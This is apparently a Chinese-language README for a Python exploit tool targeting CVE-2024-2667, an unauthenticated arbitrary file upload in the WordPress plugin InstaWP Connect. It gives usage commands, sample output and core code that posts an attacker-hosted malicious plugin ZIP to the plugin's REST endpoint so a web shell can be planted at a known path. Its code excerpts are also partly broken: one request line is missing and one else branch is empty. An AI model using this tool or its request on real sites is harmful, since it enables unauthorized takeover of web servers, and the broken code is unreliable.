InstaWP Connect 漏洞利用工具 (CVE-2024-2667)
项目描述
本项目是一个针对 WordPress 插件 InstaWP Connect – 1-click WP Staging & Migration 的安全检测与利用工具。该插件在 0.1.0.22 及之前的所有版本中,由于 /wp-json/instawp-connect/v1/config REST API 端点缺乏足够的文件验证,存在未经身份验证的任意文件上传漏洞(CVE-2024-2667)。本工具能够自动检测目标站点是否运行受影响版本,并可利用该漏洞上传恶意插件 ZIP 包,最终实现 Web Shell 部署。
功能特性
- 漏洞判定:基于检测到的版本号(≤ 0.1.0.22)自动判定目标是否易受攻击。
- 任意文件上传:通过构造特制的 API 请求,向目标站点上传任意 ZIP 格式的恶意插件包。
- Web Shell 部署:成功上传后,攻击者可通过
wp-content/plugins/instawp-connect/shell.php路径访问上传的 Web Shell。 - 命令行友好:支持通过简洁的命令行参数指定目标 URL 和恶意插件 URL,便于集成到自动化测试流程。
安装指南
系统要求
- Python 3.6 或更高版本
- 网络连接(用于向目标站点发起 HTTP 请求)
依赖安装
使用 pip 安装所需的 Python 库:
pip install requests
注意:本工具仅依赖
requests库进行 HTTP 通信,beautifulsoup4为可选依赖(当前版本未使用)。
获取工具
将脚本保存为 CVE-2024-2667.py 或直接使用提供的 Python 文件。
使用说明
基础用法
python CVE-2024-2667.py -up <恶意插件ZIP的URL> -u <目标WordPress站点URL>
参数说明
| 参数 | 长参数 | 说明 | 示例 |
|---|---|---|---|
-up | --url_plugin | 恶意插件 ZIP 文件的公开 URL | http://attacker.com/malicious.zip |
-u | --url_target | 目标 WordPress 站点的根 URL | http://victim.com/ |
典型使用场景
场景一:仅检测漏洞
如果只想检测目标站点是否运行易受攻击的插件版本,可以提供一个占位符作为 -up 参数:
python CVE-2024-2667.py -up http://example.com/dummy.zip -u http://victim.com/
工具会输出检测到的版本及漏洞判定结果,但不会实际触发文件上传(因为提供的 ZIP URL 可能无效)。
场景二:完整漏洞利用
准备一个包含 Web Shell(如 shell.php)的恶意插件 ZIP 文件,并将其托管在可公开访问的 HTTP 服务器上。然后执行:
python CVE-2024-2667.py -up http://attacker-server.com/malicious-plugin.zip -u http://victim.com/
成功上传后,Web Shell 将位于:
http://victim.com/wp-content/plugins/instawp-connect/shell.php
输出示例
Plugin URL: http://attacker-server.com/malicious-plugin.zip
Target URL: http://victim.com/
Detected version: 0.1.0.20
The site is vulnerable.
Response:
{'status': 'success', 'message': 'Plugin uploaded successfully.'}
帮助信息
查看完整命令行帮助:
python CVE-2024-2667.py -h
核心代码
版本检测模块
def check_version(url):
try:
if response.status_code == 200:
content = response.text
if "Stable tag:" in content:
for line in content.splitlines():
if "Stable tag:" in line:
version = line.split(":")[1].strip()
print(f"Detected version: {version}")
if version <= "0.1.0.22":
print("The site is vulnerable.")
else:
print("The site is not vulnerable.")
return
else:
except requests.exceptions.RequestException as e:
print(f"An error occurred while checking the version: {e}")
漏洞利用核心请求
def main():
# ... 参数解析与 URL 验证 ...
# 构造恶意上传请求的数据包
data = {
"api_key": "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
"override_plugin_zip": url_plugin # 指向攻击者托管的恶意 ZIP 文件
}
# 目标 REST API 端点
url = f"{url_target}?rest_route=/instawp-connect/v1/config"
try:
response = requests.post(url, data=data, timeout=10)
if response.status_code == 200:
try:
print("Response:")
print(response.json()) # 输出服务器返回的 JSON 信息
except ValueError as e:
print("Error parsing JSON:", e)
else:
print(f"Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"An error occurred while sending the request: {e}")
URL 辅助函数
def validate_url(url):
"""确保 URL 包含 http:// 或 https:// 协议前缀。"""
parsed_url = urlparse(url)
if not parsed_url.scheme:
url = f"http://{url}"
return url
6HFtX5dABrKlqXeO5PUv/+dNRetSg48tSBICWHeZmzP3IPmAOyG3N67+bXXU/OoS